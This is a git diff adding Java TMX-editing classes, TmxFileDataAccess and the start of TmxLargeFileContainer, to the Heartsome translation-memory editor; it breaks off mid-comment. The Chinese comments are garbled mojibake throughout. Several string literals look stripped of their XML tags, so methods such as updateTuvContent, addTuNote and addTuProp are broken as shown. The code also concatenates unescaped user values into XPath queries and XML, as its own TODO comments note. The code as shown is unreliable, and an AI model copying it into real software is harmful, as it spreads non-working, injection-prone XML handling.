net.heartsome.cat.te.core.tmxdata; + +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.te.core.bean.ExportBean; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.utils.TmxFileDataAccessUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * TMX文件访问类,用于存å–文件中的TU + * @author Jason + * @version 1.0 + * @since JDK1.6 + * @deprecated 处ç†å•æ–‡ä»¶ï¼Œä¸é€‚用于大文件,功能ä¸å®Œå…¨ + */ +public class TmxFileDataAccess extends AbstractTmxDataAccess { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxFileDataAccess.class); + + private TmxFileContainer container; + + /** + * Constructor + * @param container + * TmxFileContainer + * @throws Exception + * VTD parse Exception + */ + public TmxFileDataAccess(TmxFileContainer container) { + super(container); + this.container = container; + } + + public String retrieveTuXml(int tuIdentifier) { + return null; + } + + public void closeTmxDataAccess(IProgressMonitor monitor) { + this.container = null; + } + + @Override + public void save(IProgressMonitor monitor) { + // Nothing to do + } + + @Override + public void saveAs(IProgressMonitor monitor, ExportBean exportBean) { + // Nothing to do + } + + @Override + public boolean isSourceExist() { + return false; + } + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadTmxProperties() + */ + public TmxPropertiesBean loadTmxProperties() { + TmxPropertiesBean bean = new TmxPropertiesBean(); + TmxHeader header = container.getHeaderNode(); + String srcLang = header.getSrclang(); + if (srcLang == null || srcLang.equals("*all*")) { + bean.setSrcLang(null); + } else { + bean.setSrcLang(srcLang); + } + bean.setVersion(header.getTmxVersion()); + bean.setCreationDate(DateUtils.formatDateFromUTC(header.getCreationdate())); + bean.setCreator(header.getCreationid()); + bean.setCreationTooles(header.getCreationtool()); + bean.setTuNumber(container.getTuTotalNumber()); + bean.setLocation(container.getFilePath()); + bean.setFileSize(container.getFileSize() + ""); + List tgtLang = new ArrayList(); + tgtLang.addAll(container.getAllLanguages()); + tgtLang.remove(srcLang); + bean.setTargetLang(tgtLang); + return bean; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadDisplayTuIdentifierByFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean, + * java.lang.String, java.lang.String, boolean) + */ + public void loadDisplayTuIdentifierByFilter(IProgressMonitor monitor, TmxEditorFilterBean filterBean, String srcLang, String tgtLang, String srcSearchText, String tgtSearchText) { + Assert.isLegal(srcLang != null && srcLang.length() > 0 && tgtLang != null && tgtLang.length() > 0); + super.currSrcLang = srcLang; + super.currTgtLang = tgtLang; + super.tuIdentifiers.clear(); + if (filterBean == null) { // 查询所有 + List piMap = container.getTUIndexCache(false); + if (langList.size() == 1) { // ä¸éœ€è¦è¯­è¨€è¿‡æ»¤,加载全部TU + for (int i = 1; i <= piMap.size(); i++) { + super.tuIdentifiers.add(i + ""); + } + return; + } + + VTDUtils vu = container.getVTDUtils(); + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + vu.pilot("/tmx/body"); + AutoPilot ap = new AutoPilot(vn); + String tuXpath = "./descendant::tu[tuv[@xml:lang='" + srcLang + "'] and tuv[@xml:lang='" + tgtLang + + "']]"; + ap.selectXPath("count(" + tuXpath + ")"); + int tuNumber = (int) ap.evalXPathToNumber(); + if (tuNumber == piMap.size()) { + for (int i = 1; i <= tuNumber; i++) { + super.tuIdentifiers.add(i + ""); + } + } else { + ap.resetXPath(); + ap.selectXPath(tuXpath); + while (ap.evalXPath() != -1) { + int idex = vn.getCurrentIndex(); + super.tuIdentifiers.add((piMap.indexOf(idex) + 1) + ""); + } + } + } catch (VTDException e) { + // TODO: handle exception + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + // TODO 需è¦å®žçŽ°è¿‡æ»¤æ¡ä»¶ + } + + @Override + public String addTu(TmxTU tu, String selTuIdentifer) { + return null; + } + + @Override + public void deleteTus(String[] tuIdentifiers, IProgressMonitor monitor) { + + } + + /** + * 1.å°†newText写入到Tmx文件或者TmDb
    + * 2.å°†newText更新到TmxSegement对象中。 + * @param newText + * @param tu + * @param tuv + **/ + public void updateTuvContent(String identifier, String newText, TmxTU tu, TmxSegement tuv) { + if (tuv.getFullText().equals(newText)) { // 新内容和原æ¥çš„内容一样 + return; + } + VTDUtils vu = container.getVTDUtils(); + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + if (vu.pilot("//tu[" + tu.getTmId() + "]") == -1) { + return; + } + int tuvIdentifier = tuv.getDbPk(); + if (vu.pilot("./tuv[" + tuvIdentifier + "]/seg") != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.remove(); + xm.insertAfterElement("" + newText + ""); + container.save(xm); + tuv.setFullTextWithParseTag(newText); + } + } catch (VTDException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + public void updateTuNote(String tuIdnetifier, TmxTU tu, TmxNote note, String newContent) { + String xpath = "/tmx/body/tu[position()=%s]/note[position()=%s]/text()"; + xpath = String.format(xpath, tu.getTmId(), note.getDbPk()); + VTDUtils util = container.getVTDUtils(); + AutoPilot ap = new AutoPilot(); + ap.bind(util.getVTDNav()); + try { + util.getVTDNav().push(); + ap.selectXPath(xpath); + int index; + if ((index = ap.evalXPath()) != -1) { + XMLModifier xm = new XMLModifier(); + xm.bind(util.getVTDNav()); + // TODO 转义 + xm.updateToken(index, newContent); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } finally { + util.getVTDNav().pop(); + } + } + + public void deleteTuNote(String tuIdentifier, TmxTU tu, TmxNote deleteNote) { + String xpath = "/tmx/body/tu[position()=%s]/note[position()=%s]"; + xpath = String.format(xpath, tuIdentifier, deleteNote.getDbPk()); + VTDUtils util = container.getVTDUtils(); + AutoPilot ap = new AutoPilot(); + ap.bind(util.getVTDNav()); + try { + util.getVTDNav().push(); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(); + xm.bind(util.getVTDNav()); + xm.remove(); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } finally { + util.getVTDNav().pop(); + } + } + + public int addTuNote(String tuIdentifier, TmxTU tu, String content) { + int notePosition = 1; + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + buf.setLength(0); + // TODO 转义 + String noteStr = buf.append("").append(content).append("").toString(); + XMLModifier xm = new XMLModifier(vn); + if (vn.toElement(VTDNav.FIRST_CHILD, "note")) { + do { + notePosition++; + } while (vn.toElement(VTDNav.NS, "note")); + xm.insertAfterElement(noteStr); + } else if (vn.toElement(VTDNav.FC, "tuv")) { + xm.insertBeforeElement(noteStr); + } + container.save(xm); + } else { + notePosition = -1; + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } finally { + util.getVTDNav().pop(); + } + return notePosition; + } + + public int addTuProp(String tuIdentifier, TmxTU tu, String propType, String newContent) { + int propPosition = 1; + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + String propStr = "%s"; + // TODO 转义 + propStr = String.format(propStr, propType, newContent); + XMLModifier xm = new XMLModifier(vn); + if (vn.toElement(VTDNav.FIRST_CHILD, "prop")) { + do { + propPosition++; + } while (vn.toElement(VTDNav.NS, "prop")); + xm.insertAfterElement(propStr); + } else if (vn.toElement(VTDNav.FC, "tuv")) { + xm.insertBeforeElement(propStr); + } + container.save(xm); + } else { + propPosition = -1; + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } finally { + util.getVTDNav().pop(); + } + return propPosition; + } + + public void addTuAttribute(String tuIdentifier, TmxTU tu, String name, String value) { + + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(vn); + buf.setLength(0); + // TODO 转义 + buf.append(" ").append(name).append("=\"").append(value).append("\"").append(" "); + xm.insertAttribute(buf.toString()); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + public void addTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String value) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tuIdentifier).append("]/tuv[position()=") + .append(tuv.getDbPk()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(vn); + buf.setLength(0); + // TODO 转义 + buf.append(" ").append(name).append("=\"").append(value).append("\"").append(" "); + xm.insertAttribute(buf.toString()); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + public void deleteTuAttribute(String tuIdentifier, TmxTU tu, String name) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tuIdentifier).append("]/@").append(name); + ap.selectXPath(buf.toString()); + int index = 0; + if ((index = ap.evalXPath()) != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.removeAttribute(index); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + public void updateTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String newvalue) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + vn.push(); + buf.append("/tmx/body/tu[position()=").append(tuIdentifier).append("]/tuv[position()=") + .append(tuv.getDbPk()).append("]/@").append(name); + ap.selectXPath(buf.toString()); + int index = 0; + if ((index = ap.evalXPath()) != -1) { + XMLModifier xm = new XMLModifier(vn); + // TODO ç¼–ç é—®é¢˜ï¼Œè½¬ä¹‰é—®é¢˜ + xm.updateToken(index + 1, newvalue.getBytes()); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + public void updateTuProp(String tuIdentifier, TmxTU tu, TmxProp prop, String propType, String newContent) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]/prop[position()=") + .append(prop.getDbPk()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + int typeIndex = vn.getAttrVal("type"); + ap.selectXPath("./text()"); + int textIndex = ap.evalXPath(); + XMLModifier xm = new XMLModifier(vn); + // TODO ç¼–ç é—®é¢˜ï¼Œè½¬ä¹‰é—®é¢˜ + if (typeIndex != -1) { + xm.updateToken(typeIndex, propType); + } + if (textIndex != -1) { + xm.updateToken(textIndex, newContent); + } + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + } + + public void deleteTuProp(String tuIdentifier, TmxTU tu, TmxProp deleteProp) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]/prop[position()=") + .append(deleteProp.getDbPk()).append("]"); + ap.selectXPath(buf.toString()); + if (ap.evalXPath() != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.remove(); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } + } + + public void deleteTuvAttribute(String tuIdentifier, TmxSegement tuv, String name) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + buf.append("/tmx/body/tu[position()=").append(tuIdentifier).append("]/tuv[position()=") + .append(tuv.getDbPk()).append("]/@").append(name); + ap.selectXPath(buf.toString()); + int index = 0; + if ((index = ap.evalXPath()) != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.removeAttribute(index); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } + } + + public void updateTuAttribute(String tuIdentifier, TmxTU tu, String name, String newValue) { + StringBuffer buf = new StringBuffer(); + VTDUtils util = container.getVTDUtils(); + VTDNav vn = util.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + buf.append("/tmx/body/tu[position()=").append(tu.getTmId()).append("]/@").append(name); + ap.selectXPath(buf.toString()); + int index = 0; + if ((index = ap.evalXPath()) != -1) { + XMLModifier xm = new XMLModifier(vn); + xm.updateToken(index + 1, newValue.getBytes()); + container.save(xm); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param tgtLangCode + **/ + public List getTgtEmptyTU(String tgtLangCode) { + return null; + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public List getDuplicatedTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + return null; + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public List getDuplicatedSrcDiffTgtTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + return null; + } + + /** + * 首选在缓存中å–值,如果缓存中没有,则从物ç†å­˜å‚¨ä¸­è¯»å–值,最åŽæ·»åŠ ç¼“存中。 + * @param tuIdentifier + **/ + static final String xpath = "/tmx/body/tu[__id__]"; + + public TmxTU getTuByIdentifier(String tuIdentifier) { + VTDUtils vu = container.getVTDUtils(); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + TmxTU tu = new TmxTU(); + try { + String xp = xpath.replace("__id__", tuIdentifier + ""); + ap.selectXPath(xp); + if (ap.evalXPath() != -1) { + TmxFileDataAccessUtils.readTUAttr4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUNote4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUProp4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUTuv4VTDNav(vu, tu, super.currSrcLang, super.currTgtLang); + } + } catch (VTDException e1) { + e1.printStackTrace(); + } + tu.setTmId(Integer.parseInt(tuIdentifier)); + return tu; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public boolean deleteTgtEmpty(IProgressMonitor monitor, boolean ignoreTag) { + // TODO Auto-generated method stub + return false; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor, boolean) + */ + @Override + public boolean deleteDupaicate(IProgressMonitor monitor, boolean ignoreTag,boolean ignoreCase) { + // TODO Auto-generated method stub + return false; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor, boolean) + */ + @Override + public boolean deleteSameSrcDiffTgt(IProgressMonitor monitor, boolean ignoreTag,boolean ignoreCase) { + // TODO Auto-generated method stub + return false; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public boolean deleteEndsSpaces(IProgressMonitor monitor) { + // TODO Auto-generated method stub + return false; + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTuAttr(IProgressMonitor monitor, String name, String value, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String) + */ + @Override + public void batchDeleteTuAttr(IProgressMonitor monitor, String name, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchAddTmxProp(IProgressMonitor monitor, String type, String content, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor, net.heartsome.cat.common.bean.TmxProp, java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTmxProp(IProgressMonitor monitor, TmxProp prop, String propType, String content, + String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor, net.heartsome.cat.common.bean.TmxProp, java.lang.String) + */ + @Override + public void batchDeleteTmxProp(IProgressMonitor monitor, TmxProp prop, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTuvAttr(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String, java.util.List, java.lang.String) + */ + @Override + public void batchUpdateTuvAttr(IProgressMonitor monitor, String name, String value, List langs, + String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTuvAttr(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.util.List, java.lang.String) + */ + @Override + public void batchDeleteTuvAttr(IProgressMonitor monitor, String name, List langs, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchAddTmxNote(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String) + */ + @Override + public void batchAddTmxNote(IProgressMonitor monitor, String content, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTmxNote(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTmxNote(IProgressMonitor monitor, String oldContent, String newContent, String filter) { + // TODO Auto-generated method stub + + } + + /** (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTmxNote(org.eclipse.core.runtime.IProgressMonitor, java.lang.String, java.lang.String) + */ + @Override + public void batchDeleteTmxNote(IProgressMonitor monitor, String content, String filter) { + // TODO Auto-generated method stub + + } + + @Override + public void beginQA(String srcLangCode, String tgtLangCode, boolean ignoreTag, boolean ignoreCase) { + // do nothing + } + + @Override + public boolean isReadOnly() { + // TODO Auto-generated method stub + return false; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileContainer.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileContainer.java new file mode 100644 index 0000000..eeb924e --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileContainer.java @@ -0,0 +1,464 @@ +/** + * TmxFileContainer.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.File; +import java.io.FileNotFoundException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.file.merge.MergeFilesWhenCloseTmx; +import net.heartsome.cat.te.core.file.split.SplitFileWhenOpenTmx; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.xml.vtdimpl.EmptyFileException; +import net.heartsome.xml.vtdimpl.VTDLoader; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.EntityException; +import com.ximpleware.NavException; +import com.ximpleware.ParseException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * TMX 文件容器,打开TMX文件时,负责å°é—­æ–‡ä»¶ç›¸å…³å±žæ€§ï¼Œä»¥åŠè§£æžTMX文件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxLargeFileContainer extends TmxContainer { + public static final Logger LOGGER = LoggerFactory.getLogger(TmxLargeFileContainer.class); + private String mainfilePath; + private TmxHeader header; + private int tuTotalNumber = 0; + + // 将大文件拆分æˆå°æ–‡ä»¶ï¼Œç„¶åŽä¸€èµ·å°†è¿™äº›æ–‡ä»¶æ‰“å¼€ + private List subFiles; + private Map vus; + private List allLangList; + private String mainFileEncoding; + private String tmxVersion; + private String doctypeContent; + + /** + * Constructor + * @param filePath + * TMX file path in OS + */ + public TmxLargeFileContainer() { + vus = new HashMap(); + } + + /** + * 打开指定文件 + * @param mainFilePath + * @throws Exception + * ; + */ + public boolean openFile(String mainFilePath, IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 50); + this.mainfilePath = mainFilePath; + File mainFile = new File(mainFilePath); + if (!mainFile.exists()) { + throw new FileNotFoundException(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileNotFound")); + } + monitor.worked(15); + mainFileEncoding = FileEncodingDetector.detectFileEncoding(mainFile); + VTDGen vg = null; + try { + vg = VTDLoader.loadVTDGen(mainFile, mainFileEncoding); + } catch (EmptyFileException e) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.emptyFileMsg")); + } catch (EntityException e) { + String msg = e.getMessage(); + if (msg != null && msg.indexOf("Line Number:") != -1) { + int s = msg.indexOf("Line Number: ") + "Line Number: ".length(); + int end = msg.indexOf("Offset: "); + String line = msg.substring(s, end).trim(); + String col = msg.substring(end + "Offset: ".length(), msg.length()).trim(); + String mg = Messages.getString("tmxdata.TmxFileContainer.entityErrorLineColmsg"); + mg = MessageFormat.format(mg, line, col); + throw new Exception(mg); + } + } catch (ParseException e) { + String msg = e.getMessage(); + if (msg != null && msg.indexOf("Invalid char after") != -1 && msg.indexOf("Line Number:") != -1) { + int s = msg.indexOf("Line Number: ") + "Line Number: ".length(); + int end = msg.indexOf("Offset: "); + String line = msg.substring(s, end).trim(); + String col = msg.substring(end + "Offset: ".length(), msg.length()).trim(); + String mg = Messages.getString("tmxdata.TmxFileContainer.parseLineColmsg"); + mg = MessageFormat.format(mg, line, col); + throw new Exception(mg); + } else { + throw e; + } + } + + VTDNav vn = vg.getNav(); + vg.clear(); + loadTmxHeader(vn); + initTmxVersion(vn); + boolean r = beforeOpenFile(vn, new SubProgressMonitor(monitor, 20)); + if (!r) { + return r; + } + vn = null; + + openSubFiles(new SubProgressMonitor(monitor, 10)); + loadAllLang(new SubProgressMonitor(monitor, 5)); + if (allLangList.size() < 2) { + TeCoreUtils.deleteFolder(new File(subFiles.get(0)).getParentFile()); + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.oneLanguageMsg")); + } + monitor.done(); + return true; + } + + /** + * 打开指定的主文件和对应的å­æ–‡ä»¶ + * @param mainFilePath + * 主文件完整路径 + * @param subFiles + * å­æ–‡ä»¶å®Œæ•´è·¯å¾„ + * @throws Exception + * ; + */ + public void openFile(String mainFilePath, List subFiles, IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + this.mainfilePath = mainFilePath; + File file = new File(mainFilePath); + mainFileEncoding = FileEncodingDetector.detectFileEncoding(file); + VTDGen vg = VTDLoader.loadVTDGen(file, mainFileEncoding); + VTDNav vn = vg.getNav(); + initTmxVersion(vn); + this.subFiles = subFiles; + monitor.beginTask("", 10); + openSubFiles(new SubProgressMonitor(monitor, 6)); + loadAllLang(new SubProgressMonitor(monitor, 2)); + monitor.worked(2); + VTDUtils vu = vus.get(subFiles.get(0)); + loadTmxHeader(vu.getVTDNav()); + monitor.done(); + } + + /** + * 关闭当å‰æ–‡ä»¶å®¹å™¨ï¼Œå…³é—­åŽå­æ–‡ä»¶å°†å…¨éƒ¨åˆ é™¤ã€‚ ; + */ + public void close() { + if (subFiles.size() == 0) { + return; + } + + String subFile = subFiles.get(0); + File f = new File(subFile); + if (f.exists()) { + File p = f.getParentFile(); + TeCoreUtils.deleteFolder(p); + } + vus.clear(); + subFiles.clear(); + } + + /** + * 